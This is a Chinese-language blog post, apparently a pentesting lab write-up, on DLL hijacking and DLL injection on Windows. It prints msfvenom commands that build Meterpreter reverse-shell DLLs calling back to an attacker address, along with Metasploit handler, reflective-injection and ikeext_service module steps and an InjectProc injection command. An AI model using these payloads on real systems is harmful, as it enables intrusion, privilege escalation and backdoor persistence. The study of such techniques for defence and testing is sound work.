DLL-Attack

凡是不能把我毁灭的,都将使我更强

0x01 DLL劫持漏洞根源

程序在调用DLL时未指明DLL的完整路径

1
2
3
4
`3gstudent`提到的DLL劫持漏洞微软尚未给出直接的修复方法,原因可能有以下几点:
*这是开发者的失误,换用绝对路径就能避免这个问题
*利用的前提是攻击者已经能够在同级目录放置文件,这代表系统已经被攻破
*如果直接修复,或许会影响老版本程序,兼容性不好

当一个应用程序需要加载一个DLL时

1
2
3
4
5
6
7
8
加载顺序为
*应用程序的目录
*c:\windows\system32
*c:\windows\system
*c:\windows
*当前工作目录
*系统PATH环境变量
*用户PATH环境变量

默认情况下,如果软件安装在C盘根目录而不是c:\Program Files,那经过身份验证的用户具有该目录写入权限。
另外,Perl,Python,Ruby等软件通常都添加到Path变量中。
那攻击者可以在当前目录中编写恶意DLL,只要重新运行exe程序就gg。详细内容见:microsoft

0×02 劫持Windows系统的DLL

要分析一个应用程序是否存在劫持系统DLL的漏洞,需要这么几个步骤:

1
2
3
4
5
*启动应用程序
*使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库。
*从该应用程序已经加载的DLL列表中,查找在上述`KnownDLLs注册表项`中不存在的DLL。
*编写第三步中获取到的DLL的劫持DLL。
*将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。

0x03 如何编写一个劫持的DLL

测试靶机:Server 2008 R2
攻击主机:Mac + Metasploit

1.查看被劫持的DLL的导出函数表。
2.编程实现劫持DLL向原DLL的导出函数的转发,并加入你的恶意代码

使用DLL_Hijacker.py脚本可以一键生成劫持指定DLL的CPP源码文件。
对这个CPP文件进行编译就生成了相应的劫持DLL文件。

metasploit生成dll并监听

1
2
3
4
5
6
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=101.101.101.100 lport=2222 -f dll > attack.dll
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.2
set lport 4444
run

据说采取了CreateRemoteThread的技术,支持dll注入的工具,提供pid和dll路径就行,测试失败
图片已损坏

Metasploit注入

1
2
3
4
5
6
方法一
use post/windows/manage/reflective_dll_inject
set path 攻击主机的dll路径
set pid xxxx
set session x
exploit

图片已损坏

1
2
3
4
5
方法二
use exploit/windows/local/ikeext_service
set dir C:\\windows\\
set session x
run

图片已损坏

图片已损坏

可能是我的方法不对,第一二两种皆失败,powersploit和ikeext_service成功。有知道的朋友麻烦联系下qq。在此多谢

更新

1
2
InjectProc.exe dll_inj path/to/dll.dll notepad.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.2222 LPORT=4444 -f dll -o xxxx.dll

Youtube视频请翻墙,请关闭广告插件



0x04 结语

为了能够通过DLL劫持升级特权,需要满足以下条件:

1
2
3
4
*在系统文件夹上写入权限
*软件安装在非默认目录下
*作为系统运行并缺少DLL的服务
*重新启动服务

另外,在挖掘此类漏洞时也要注意到不存在劫持漏洞的DLL如果调用了一个或多个其他DLL,那么依旧有可能会产生DLL劫持漏洞。如果宿主进程已经取得了UAC权限,那么DLL劫持也是另外一种获取UAC权限的方式,同时,由于DLL劫持漏洞的隐蔽性,安全软件难以捕捉检测,很多恶意软件使用此漏洞作为后门的通道或者自启动技术。后续将更新lnk-dll劫持。敬请期待

最后附上lostwolf表哥的添加用户的dll


AheadLib 自动生成一个特洛伊DLL分析代码的工具
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/secretsquirrel/the-backdoor-factory
https://github.com/secrary/InjectProc/issues
https://www.nettitude.co.uk/dll-injection-part-one/
https://www.nettitude.co.uk/dll-injection-part-two/
http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html
深入解析DLL劫持漏洞
DLL劫持漏洞自动化识别工具Rattler测试
DLL攻击一次实战
反射型DLL注射技术

本文为原创,转载请遵守本站的版本

更新于: 2018年10月26日 01:10